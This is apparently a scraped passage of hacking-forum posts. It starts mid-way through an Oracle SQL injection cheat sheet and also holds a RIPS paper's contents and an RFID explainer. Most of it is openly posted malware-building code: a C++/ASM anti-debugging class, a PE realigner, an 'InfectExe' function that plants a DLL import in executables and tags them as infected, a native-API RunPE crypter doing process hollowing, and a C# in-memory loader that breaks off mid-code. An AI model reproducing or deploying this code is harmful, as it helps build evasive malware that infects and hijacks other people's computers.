<= 10g) * SELECT name, spare4 from sys.user$ (Privileges required, 11g) Retrieving Databases Current Database * SELECT name FROM v$database; * SELECT instance_name FROM v$instance * SELECT global_name FROM global_name * SELECT SYS.DATABASE_NAME FROM DUAL User Databases Tables & Columns Retrieving Tables * SELECT table_name FROM all_tables Retrieving Columns * SELECT column_name FROM all_tab_columns Finding Tables from Column Name * SELECT column_name FROM all_tab_columns WHERE table_name = 'Users' Finding Column From Table Name * SELECT table_name FROM all_tab_tables WHERE column_name = 'password' Fuzzing and Obfuscation Avoiding the use of single/double quotations Unlike other RDBMS, Oracle allows us to reference table/column names encoded. * SELECT chr(32)||chr(92)||chr(93) FROM dual * SELECT 0x09120911091 1. Out Of Band Channeling Time Delay Heavy Query Time delays Sursa: Insecurity: SQL Injection Pocket Reference 2010 Cheat Sheet [sqlI]
-
- 1
-
-
RIPS - A static source code analyser for vulnerabilities in PHP scripts Johannes Dahse Seminar Work at Chair for Network and Data Security Prof. Dr. Jörg Schwenk advised through Dominik Birk 23.08.2010 Contents 1 Introduction 1 2 Motivation 2 3 Web application security 3 3.1 Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 3.2 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 3.3 Other vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 4 Static source code analysis 7 4.1 Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 4.2 Model construction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 4.3 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.3.1 Taint analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.3.2 Intraprocedural and interprocedural analysis . . . . . . . . . . . . . . . 9 4.4 Results processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 5 RIPS implementation 11 5.1 Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 5.2 Model construction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 5.2.1 Lexical and semantic analysis . . . . . . . . . . . . . . . . . . . . . . 12 5.2.2 Parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 5.2.3 Control flow analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 5.3 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 5.3.1 Taint analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 5.3.2 Intraprocedural and interprocedural analysis . . . . . . . . . . . . . . . 16 5.4 Web interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 5.5 Scan results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 5.6 Limitations and future work . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 6 Related work 22 7 Summary 24 Download: http://garr.dl.sourceforge.net/project/rips-scanner/rips-paper.pdf Sursa: Papers
-
[h=5]RFID (Radio Frequency Identification)[/h] Article by: OrbitalJL What is RFID? RFID (Radio Frequency Identification) is a technique for reading information on the distance of the transponders and the memories that are called tags. The cheapest and simplest variants have a very simple structure and consists only of a unique number which they can send out a few inches. This is the most common variety used today. In this type of RFID transponder has all the information stored in a database. Post where information is stored is linked to the unique ID number. This simple type corresponds in fact usual barcodes. The next price tags are a bit more advanced and has an internal memory able to write to several times, but the memory is quite limited. The reader consists of an oscillating magnetic field that induces a sufficient voltage in the antenna of the tag should be able to send their content. The tag can be small enough to fit into a standard price tag, be deployed under the skin of an animal or surgery in humans for identification using radio waves. How does it work? Passive tags, RFID The passive tags have no internal power supply. The tag may be enough power from the reader to send a response. This thanks to the reader antenna by induction creates a sufficient voltage in the tag. The antenna of the passive tags are designed to receive the incoming signal and also send an output signal. The answer from a passive tag is not always just a idnummer but can be more complex, such as information from an integrated memory. Passive tags have the capacity to be read from 11cm up to 10 meters depending on which standard you use, and also on how the environment looks like. Thanks to the passive tags have no built-in power supply can be made very small and they are therefore very easy to place where space is limited, for example. the stickers or skin. Active tags, ARFID Unlike passive tags are active tags, a separate power source that is used to send information and enforce its components. Communications from active tags to readers is much more reliable than communications from the passive tags. This thanks to active tags can create an active session with the reader. Active tags can also send the higher stress levels, thanks to their built-in power source, which facilitates the placement of such a man, because then the signal will pass through inhibiting materials such as liquids. The disadvantage is rather that they are much larger and more expensive to manufacture. Their range can extend up to several hundred meters and batteries are sitting in the can hold up to 10 years. It can also integrate more memory because the size is not as important. Semi-Passive RFID Is a mixture of passive and active tags where the big difference is that the integrated power source only operates micro-chip but not the actual transmission of signals. Advantages of this technique is that it is much more energy efficient and can, for example Login temperatures over a period and then present data on request from a reader. The new CRFID CRFIDs is too new to have ventured far from the lab yet. But it Juels says makes it possible to encrypt and decrypt data which could make chips in passports and credit cards more secure. More on the University who are engaged in the development of CRFID can be found here: http://www.cs.umass.edu/~ssclark/crfid/papers/salajegheh-usenixsec09.pdf VeriChip With the emergence of micro-technology, some individuals have grown to fear of disqualification on grounds of RFID human implantation. VeriChip is working with an RFID implant, which will have GPS tracking capabilities. This technique can not only track a single person, but every physical object that is, geographically located in each location and all times. Although this technique could provide assistance in locating missing children or the like, it also means the government to monitor everyone and everything that has RFID chip. Moreover Theoretically, this could be done without the knowledge or consent of the individual. How can it look like? In practice, then? What can RFID be used for? If you understand the above, so you probably also understand the security risks of RFID. RFID can be used in many, many, and again in many areas. But what is perhaps the absolute worst thing is that people can easily become "infected" by RFID chips. They have even begun to advertise in the U.S. to bring these "tags" on children and animals in order to track all their movements and what they do. But RFID tags developed daily, and who knows what the future looks like. Right now you can at least use these tags to save vital information such as bank details, personal information, disease records, and much more In what areas are used RFID technology? RFID technology is of course of course its advantages, too. As that example to catch thieves in shops trying to take on products that are tagged. But RFID technology offers great opportunities hospitals, where they can put a chip in a patient in order to check important information about their patients. Allowing doctors to treat their patients in a way from home. But all this is of course a disadvantage, too, that evil people for example, could take over the patient's chip, read journals and at worst might kill people, such as using Peacemaker as doctors steering away from home, even though I do not think that progress has been easy so far yet. How is it developing? Today's RFID tags can only send fixed data back to a reader device, whether it's information on your passport or of an endangered bird. The researchers are now working to import something very interesting to the tags in the form of microcomputers, which opens the way for much smarter applications. Since RFID tags FREQUENCY shortage of batteries and cleans out all forces from broadcasting from its readers, makes limited power supply to the micro-computers a challenge. But it also has the advantage of being able to create the so-called computational RFID tags - CRFIDs - cheap, robust and long life. What does all this then? All this means a lot of fun opportunities. In all cases for me to find that extremely interesting. The advantage now is that RFID chips are very uncertain and do not even use any type of encryption to protect information found on the chip. Here are some interesting youtube clips about the technology. Extra worth checking out is a myth buster when speaking at a conference on what happened when they thought of sending a section on how hackable these RFID chips are. Myth Buster clip: Why the Mythbusters won't do RFID (last hope Adam Savage) Video on how to hack RFID is obvious: Major Malfunction've been working with RFID and gave a presentation on it at Defcon : Defcon 15 - T302 Aliens Cloned My Sheep References: There has been an error - New Scientist sv.wikipedia.org / wiki / RFID en.wikipedia.org / wiki / Radio frequency_identification The SpyChips Threat by Katherine Albrecht & Liz McIntyre Youtube.com By OrbitalJL Sursa: RFID (Radio Frequency Identification)
-
Super, la puscarie cu ei!
-
[h=1][C++/ASM]ClsAntiDebug Class[/h]Author: LordRNA Hi. I'm here again. I bring you a special class that i made in my freetime to my community (H-Sec). The class is ClsAntiDebug. It's a class that have some methods to detect debuggers. I add a PEBDebug detection, a NTGlobal Detection, a Debugger Process Name Detection (Only Work With OllyDBG, W32DASM and IDA Pro) and a TimeStamp Debugger Detection. I put another class that use a random method from the first three Methods and a Function to call if a Debugger is Detected. The TimeStamp Debugger Recive a number, and a function to execute, if the diference beetwen the 2 TimeStamp is bigger than the number give it by the user the member Debugged inside the class change to true. To get the value of Debugged member we will use IsDebugged Method. Sooo, It's time to put the code. I'll put the Header code, The Implementation Code and an example. #ifndef __ClsAntiDebug__ #define __ClsAntiDebug__ #include <windows.h> #include <tlhelp32.h> class ClsAntiDebug { private: bool Debugged; public: ClsAntiDebug(); void __declspec() PEBDebug(); void __declspec() NTGlobalDebug(); void __declspec() DebuggerActive(); void __declspec() TimeStamp(int time, void *func); void Protect(void *func); bool IsDebugged(); }; #endif #include "AntiDebug.h" ClsAntiDebug::ClsAntiDebug() { this->Debugged=false; } bool ClsAntiDebug::IsDebugged() { return this->Debugged; } void __declspec() ClsAntiDebug::PEBDebug() { __asm { _PEBLoop: push 500 call dword ptr ds:[Sleep] xor edx, edx mov dl,0x30 mov esi, fs:[edx] movzx eax, byte ptr[esi+2] dec eax jne _PEBLoop inc eax } this->Debugged = true; } void __declspec() ClsAntiDebug::NTGlobalDebug() { __asm { _NTLoop: push 500 call dword ptr ds:[Sleep] xor edx, edx mov dl,0x30 mov esi, fs:[edx] movzx eax, byte ptr[esi+0x68] and eax,eax je _NTLoop xor eax,eax inc eax } this->Debugged = true; } void __declspec() ClsAntiDebug::DebuggerActive() { HANDLE hProcSnap; PROCESSENTRY32 pProcess; LPTSTR Exename; int strlength; int deb[3]={18416231/*IDA Pro*/,997340682/*W32DASM*/,1853255255/*OllyDbg*/}; int i; do { hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pProcess.dwSize = sizeof(PROCESSENTRY32); Process32First(hProcSnap,&pProcess); do { strlength = strlen(pProcess.szExeFile); __asm { lea eax,[pProcess.szExeFile] mov ecx,dword ptr[strlength] xor edx,edx xor edi, edi push edi gethash: pop edi xor dl, byte ptr[eax+edi] rol edx,8 inc edi push edi xor edi,ecx jne gethash mov [strlength],edx/*We don't need strlength, so we recycle to get The Hash on Int Variable*/ pop edi } for(i=0;i<3;i++)if (strlength==deb[i]) { this->Debugged = true; __asm{jmp ___end} } }while(Process32Next(hProcSnap,&pProcess)); Sleep(500); }while(1); __asm {___end:} } void __declspec() ClsAntiDebug::Protect(void *func) { do { switch(GetTickCount()%4) { case 0:this->PEBDebug();break; case 1:this->NTGlobalDebug();break; case 2:this->DebuggerActive();break; }; if (this->Debugged) { __asm { call [func] } } Sleep(500); }while(1); } void __declspec() ClsAntiDebug::TimeStamp(int time,void *func) { __asm { rdtsc mov ebx,eax call [func] rdtsc sub eax, ebx cmp eax, [time] jna ___rtend } this->Debugged = true; __asm{___rtend: } } #pragma comment(linker,"/ENTRY:main") #include "AntiDebug.h" void CALLBACK HolaMundo() { int i; i++; i++; } int __declspec() main() { ClsAntiDebug *Debugger=new(ClsAntiDebug); Debugger->TimeStamp(200,HolaMundo); if (Debugger->IsDebugged())MessageBox(0,"Hola","Mundo",0); Debugger->Protect(HolaMundo); return 0; } Sursa: http://www.hackhound.org/forum/index.php/topic/37401-srccasmclsantidebug-class/
-
[C] Function, which add DLL into import directory of EXE
Nytro replied to Nytro's topic in Programare
[h=1]RealignPE v2[/h]Author: The Swash /* ----------------------------------------------------------- - Function: RealignPE v2 - - Programmer: The Swash - - Web: http://www.h-sec.org - - Dedicated: Thor, Psymera, Steve10120, [Zero], Karcrack - ----------------------------------------------------------- */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #define ReadWriteBinary "r+b" int AlingNum(int num, int aling); char * BytesAling(int number); int main(void) { printf("%i ",RealignPE("C:\\hi.exe")); getchar(); } int RealignPE(char * lpFile) { IMAGE_DOS_HEADER IDH; IMAGE_FILE_HEADER IFH; IMAGE_OPTIONAL_HEADER IOH; IMAGE_SECTION_HEADER ISH; DWORD PESignature = 0; FILE * lFile; int OriSize = 0; int ActSize = 0; int Alingned = 0; lFile = fopen(lpFile,ReadWriteBinary); if (lFile == NULL) {return -1;} else { fread(&IDH, 64, 1, lFile); fseek(lFile, IDH.e_lfanew , SEEK_SET); fread(&PESignature, 4, 1, lFile); if (IDH.e_magic != IMAGE_DOS_SIGNATURE) {fclose (lFile); return -2;} else { if(PESignature != IMAGE_NT_SIGNATURE) {fclose (lFile); return -3;} else { fseek(lFile, IDH.e_lfanew + 4, SEEK_SET); fread(&IFH, sizeof(IFH), 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fread(&IOH, IFH.SizeOfOptionalHeader, 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fread(&ISH, sizeof(ISH), 1, lFile); fseek(lFile, 0, SEEK_END); ActSize = ftell(lFile); OriSize = ISH.PointerToRawData + ISH.SizeOfRawData; if (ActSize - OriSize > 0) { Alingned = AlingNum(ActSize - OriSize, IOH.FileAlignment); ISH.SizeOfRawData += Alingned; ISH.Misc.VirtualSize += Alingned; IOH.SizeOfImage = ISH.Misc.VirtualSize + ISH.VirtualAddress; IOH.SizeOfInitializedData += Alingned; if (ISH.VirtualAddress == IOH.DataDirectory[2].VirtualAddress) { IOH.DataDirectory[2].Size += Alingned; } fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fwrite(&IOH, 1, IFH.SizeOfOptionalHeader, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fwrite(&ISH, 1, sizeof(ISH), lFile); if (Alingned - (ActSize - OriSize) > 0) { fseek(lFile, ActSize, SEEK_SET); fwrite(BytesAling(Alingned-(ActSize - OriSize)), 1, Alingned-(ActSize - OriSize), lFile); } return 0; } else {return 1;} } } } } int AlingNum(int num, int aling) { if(num % aling == 0) { return num; } else if(num < aling) { return aling; } else { return (num / aling) * aling + aling; } } char * BytesAling(int number) { char * sTemp = (char *) malloc(number + 1); int i; for (i=0; i<number; i++) { sTemp[i] = '\0'; } return sTemp; } Sursa: http://www.hackhound.org/forum/index.php/topic/35985-csrc-realignpe-v2/ -
[h=1][C] Function, which add DLL into import directory of EXE[/h]Author: picklock #include <windows.h> #define ALIGN_SIZE(x, y) ((x + (y-1)) & (~(y-1))) unsigned long RVA2Offset(unsigned long ulBase, unsigned long ulRVA) { PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection; unsigned short i; pNtHeaders = (PIMAGE_NT_HEADERS) ((unsigned long) ulBase + ((PIMAGE_DOS_HEADER) ulBase)->e_lfanew); pSection = IMAGE_FIRST_SECTION(pNtHeaders); for ( i = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i ) { if ( (ulRVA >= pSection->VirtualAddress) && (ulRVA < pSection->VirtualAddress + ALIGN_SIZE(pSection->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment)) ) { return ulRVA - pSection->VirtualAddress + pSection->PointerToRawData; } ++pSection; } return ulRVA; } PIMAGE_SECTION_HEADER RVA2Section(unsigned long ulBase, unsigned long ulRva) { PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSection; unsigned short i; pNtHeader = (PIMAGE_NT_HEADERS) (ulBase + ((PIMAGE_DOS_HEADER) ulBase)->e_lfanew); pSection = IMAGE_FIRST_SECTION(pNtHeader); for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i ) { if ( ulRva >= pSection->VirtualAddress && ulRva < pSection->VirtualAddress + ALIGN_SIZE(pSection->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment) ) { return pSection; } ++pSection; } return 0; } int InfectExe(const char *pExe, const char *pDll, const char *pFunc) { PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection; PIMAGE_IMPORT_DESCRIPTOR pImport; PIMAGE_THUNK_DATA pThunk; PIMAGE_IMPORT_BY_NAME pImportName; HANDLE hTarget, hMapping; PVOID pMapping; unsigned long ulSize, ulOffset, ulDllSize, ulNewImportSize; unsigned short i; hTarget = CreateFile(pExe, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if ( hTarget == INVALID_HANDLE_VALUE ) return 0; ulSize = GetFileSize(hTarget, 0); if ( !ulSize ) { CloseHandle(hTarget); return 0; } hMapping = CreateFileMapping(hTarget, 0, PAGE_READWRITE, 0, ulSize, 0); if ( !hMapping ) { CloseHandle(hTarget); return 0; } pMapping = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0); if ( !pMapping ) { CloseHandle(hMapping); CloseHandle(hTarget); return 0; } pDosHeader = (PIMAGE_DOS_HEADER) pMapping; pNtHeaders = (PIMAGE_NT_HEADERS) ((unsigned long) pDosHeader + pDosHeader->e_lfanew); if ( pNtHeaders->OptionalHeader.Win32VersionValue == 0x10F3C03D ) // already infected { UnmapViewOfFile(pMapping); CloseHandle(hMapping); CloseHandle(hTarget); return 0; } pSection = IMAGE_FIRST_SECTION(pNtHeaders); pImport = (PIMAGE_IMPORT_DESCRIPTOR) ((unsigned long) pMapping + RVA2Offset((unsigned long) pMapping, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)); ulDllSize = (lstrlen(pDll) + 1) * sizeof(char); ulNewImportSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size + sizeof(IMAGE_IMPORT_DESCRIPTOR); // new size for ( i = 0, ulOffset = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i ) { if ( (pSection->SizeOfRawData - pSection->Misc.VirtualSize) >= ulNewImportSize ) { ulOffset = (unsigned long) pMapping + pSection->PointerToRawData + pSection->Misc.VirtualSize; break; } ++pSection; } if ( !ulOffset || (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size < (ulDllSize + 2*sizeof(IMAGE_THUNK_DATA) + 2 + (lstrlen(pFunc)+1)*sizeof(char))) ) { UnmapViewOfFile(pMapping); CloseHandle(hMapping); CloseHandle(hTarget); return 0; } // copy IMAGE_DIRECTORY_ENTRY_IMPORT to new place memcpy(pImport, (void *) ulOffset, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size); ZeroMemory((void *) (ulOffset + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size), sizeof(IMAGE_IMPORT_DESCRIPTOR)); ZeroMemory(pImport, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size); //copy dll name on prev import place and editing IMAGE_THUNK_DATA and IMAGE_IMPORT_BY_NAME memcpy((void *) pDll, pImport, ulDllSize); pThunk = (PIMAGE_THUNK_DATA) ((unsigned long) pImport + ulDllSize); pImportName = (PIMAGE_IMPORT_BY_NAME) ((unsigned long) pImport + ulDllSize + 2*sizeof(IMAGE_THUNK_DATA)); pThunk->u1.AddressOfData = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulDllSize + 2*sizeof(IMAGE_THUNK_DATA); pImportName->Hint = 0x0000; ZeroMemory(pThunk+1, sizeof(IMAGE_THUNK_DATA)); memcpy((void *) pFunc, &pImportName->Name, (lstrlen(pFunc)+1)*sizeof(char)); // editing new IMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR) (ulOffset + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size - sizeof(IMAGE_IMPORT_DESCRIPTOR)); pImport->OriginalFirstThunk = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulDllSize; pImport->FirstThunk = pImport->Characteristics; pImport->ForwarderChain = 0x00000000; pImport->Name = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; pImport->TimeDateStamp = 0x00000000; // new flags and charachteristics pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pSection->VirtualAddress + pSection->Misc.VirtualSize; pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = ulNewImportSize; pNtHeaders->OptionalHeader.Win32VersionValue = 0x10F3C03D; pSection = RVA2Section((unsigned long) pMapping, (unsigned long) pThunk - (unsigned long) pMapping); pSection->Characteristics |= IMAGE_SCN_MEM_WRITE; UnmapViewOfFile(pMapping); CloseHandle(hMapping); CloseHandle(hTarget); return 1; } Sursa: http://www.hackhound.org/forum/index.php/topic/41147-c-function-which-add-dll-into-import-directory-of-exe/
-
PoC RunPE Crypter - G36KV #include "WinApi.h" /*********************************** PoC RunPE Crypter - G36KV ***********************************/ #pragma comment(linker,"/ENTRY:WinMain") void GetApiList(); BOOL RunPe(const WCHAR * targetFilePath, DWORD_PTR pFileMemory); PIMAGE_NT_HEADERS CheckHeader(const WCHAR * targetFilePath, DWORD_PTR pFileMemory); def_CreateProcessInternalW _CreateProcessInternalW = 0; def_NtGetContextThread _NtGetContextThread = 0; def_NtSetContextThread _NtSetContextThread = 0; def_NtReadVirtualMemory _NtReadVirtualMemory = 0; def_NtUnmapViewOfSection _NtUnmapViewOfSection = 0; def_NtAllocateVirtualMemory _NtAllocateVirtualMemory = 0; def_NtWriteVirtualMemory _NtWriteVirtualMemory = 0; def_NtResumeThread _NtResumeThread = 0; def_NtTerminateProcess _NtTerminateProcess = 0; LPVOID _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); int CALLBACK WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { GetApiList(); return RunPe(L"C:\\target.exe", (DWORD_PTR)1); } BOOL RunPe(const WCHAR * targetFilePath, DWORD_PTR pFileMemory) { PIMAGE_NT_HEADERS pNtHeader = 0; PIMAGE_SECTION_HEADER pSecHeader = 0; PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {0}; CONTEXT ctx = {0}; DWORD_PTR dwImagebase = 0; LPVOID pImagebase = 0; ULONG NumberOfBytes = 0; DWORD_PTR pPebImageBase = 0; ULONG SuspendCount = 0; WORD counter; pNtHeader = CheckHeader(targetFilePath,pFileMemory); if (!pNtHeader) return FALSE; ctx.ContextFlags = CONTEXT_INTEGER; if(_CreateProcessInternalW(0,targetFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi,0)) { if (NT_SUCCESS(_NtGetContextThread(pi.hThread, &ctx))) { #ifdef _WIN64 pPebImageBase = ctx.Rdx + (sizeof(DWORD_PTR) * 2); #else pPebImageBase = ctx.Ebx + (sizeof(DWORD_PTR) * 2); #endif if (NT_SUCCESS(_NtReadVirtualMemory(pi.hProcess, (PVOID)pPebImageBase, &dwImagebase, sizeof(DWORD_PTR),&NumberOfBytes))) { if (NT_SUCCESS(_NtUnmapViewOfSection(pi.hProcess, (PVOID)dwImagebase))) { pImagebase = _VirtualAllocEx(pi.hProcess, (PVOID)pNtHeader->OptionalHeader.ImageBase, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pImagebase) { if (NT_SUCCESS(_NtWriteVirtualMemory(pi.hProcess,pImagebase,(LPVOID)pFileMemory,pNtHeader->OptionalHeader.SizeOfHeaders,&NumberOfBytes))) { pSecHeader = IMAGE_FIRST_SECTION(pNtHeader); for (counter = 0; counter < pNtHeader->FileHeader.NumberOfSections; counter++) { _NtWriteVirtualMemory(pi.hProcess,(LPVOID)((DWORD_PTR)pImagebase + pSecHeader->VirtualAddress), (LPVOID)(pFileMemory + pSecHeader->PointerToRawData),pSecHeader->SizeOfRawData, &NumberOfBytes); pSecHeader++; } if (NT_SUCCESS(_NtWriteVirtualMemory(pi.hProcess,(PVOID)pPebImageBase,&(pNtHeader->OptionalHeader.ImageBase),sizeof(DWORD_PTR),&NumberOfBytes))) { #ifdef _WIN64 ctx.Rcx = (DWORD_PTR)pImagebase + pNtHeader->OptionalHeader.AddressOfEntryPoint; #else ctx.Eax = (DWORD_PTR)pImagebase + pNtHeader->OptionalHeader.AddressOfEntryPoint; #endif if (NT_SUCCESS(_NtSetContextThread(pi.hThread, &ctx))) { if (NT_SUCCESS(_NtResumeThread(pi.hThread, &SuspendCount))) { return TRUE; } } } } } } } } _NtTerminateProcess(pi.hProcess, 0); } return FALSE; } PIMAGE_NT_HEADERS CheckHeader(const WCHAR * targetFilePath, DWORD_PTR pFileMemory) { PIMAGE_DOS_HEADER pDosHeader = 0; PIMAGE_NT_HEADERS pNtHeader = 0; if (targetFilePath) { if (pFileMemory) { pDosHeader = (PIMAGE_DOS_HEADER)pFileMemory; if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE) { pNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pFileMemory + pDosHeader->e_lfanew); if (pNtHeader->Signature == IMAGE_NT_SIGNATURE) { return pNtHeader; } } } } return 0; } LPVOID _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { SIZE_T RegionSize = dwSize; PVOID BaseAddress = lpAddress; if (NT_SUCCESS(_NtAllocateVirtualMemory(hProcess, &BaseAddress, 0x00, &RegionSize, flAllocationType, flProtect))) { return BaseAddress; } else { return 0; } } void GetApiList() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); HMODULE hKernel = GetModuleHandleA("kernel32.dll"); if (!hKernel || !hNtdll) return; _CreateProcessInternalW = (def_CreateProcessInternalW)GetProcAddress(hKernel,"CreateProcessInternalW"); _NtGetContextThread = (def_NtGetContextThread)GetProcAddress(hNtdll,"NtGetContextThread"); _NtSetContextThread = (def_NtSetContextThread)GetProcAddress(hNtdll,"NtSetContextThread"); _NtReadVirtualMemory = (def_NtReadVirtualMemory)GetProcAddress(hNtdll,"NtReadVirtualMemory"); _NtUnmapViewOfSection = (def_NtUnmapViewOfSection)GetProcAddress(hNtdll,"NtUnmapViewOfSection"); _NtAllocateVirtualMemory = (def_NtAllocateVirtualMemory)GetProcAddress(hNtdll,"NtAllocateVirtualMemory"); _NtWriteVirtualMemory = (def_NtWriteVirtualMemory)GetProcAddress(hNtdll,"NtWriteVirtualMemory"); _NtResumeThread = (def_NtResumeThread)GetProcAddress(hNtdll,"NtResumeThread"); _NtTerminateProcess = (def_NtTerminateProcess)GetProcAddress(hNtdll,"NtTerminateProcess"); } Sursa: http://www.hackhound.org/forum/index.php/topic/42925-runpe-with-native-api-x64x86/
-
[h=2][C#] Execute EXE byte array in memory (NATIVE, RunPE, TINY, x64, x86)[/h] Author: affixiate All, I just finished my tiny RunPE variant. It uses Native WinAPI (ntdll) to perform its magic (instead of kernel32). It's very quick and stable. No "structs" are included (to minimize the code). Fully compatible with 64-bit and 32-bit Windows. Pro-tip: Use with my other code to maximize results. Without further ado, "CMemoryExecute.cs": using System; using System.Runtime.InteropServices; /* * Title: CMemoryExecute.cs * Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny. * * Developed by: affixiate * Release date: December 10, 2010 * Released on: http://opensc.ws * Credits: * MSDN (http://msdn.microsoft.com) * NtInternals (http://undocumented.ntinternals.net) * Pinvoke (http://pinvoke.net) * * Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;] */ // ReSharper disable InconsistentNaming public static unsafe class CMemoryExecute { /// <summary> /// Runs an EXE (which is loaded in a byte array) in memory. /// </summary> /// <param name="exeBuffer">The EXE buffer.</param> /// <param name="hostProcess">Full path of the host process to run the buffer in.</param> /// <param name="optionalArguments">Optional command line arguments.</param> /// <returns></returns> public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "") { var IMAGE_SECTION_HEADER = new byte[0x28]; // pish var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh var IMAGE_DOS_HEADER = new byte[0x40]; // pidh var PROCESS_INFO = new int[0x4]; // pi var CONTEXT = new byte[0x2cc]; // ctx byte* pish; fixed (byte* p = &IMAGE_SECTION_HEADER[0]) pish = p; byte* pinh; fixed (byte* p = &IMAGE_NT_HEADERS[0]) pinh = p; byte* pidh; fixed (byte* p = &IMAGE_DOS_HEADER[0]) pidh = p; byte* ctx; fixed (byte* p = &CONTEXT[0]) ctx = p; // Set the flag. *(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL; // Get the DOS header of the EXE. Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length); /* Sanity check: See if we have MZ header. */ if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE) return false; var e_lfanew = *(int*)(pidh + 0x3c); // Get the NT header of the EXE. Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length); /* Sanity check: See if we have PE00 header. */ if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE) return false; // Run with parameters if necessary. if (!string.IsNullOrEmpty(optionalArguments)) hostProcess += " " + optionalArguments; if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO)) return false; var ImageBase = new IntPtr(*(int*) (pinh + 0x34)); NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase); if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero) 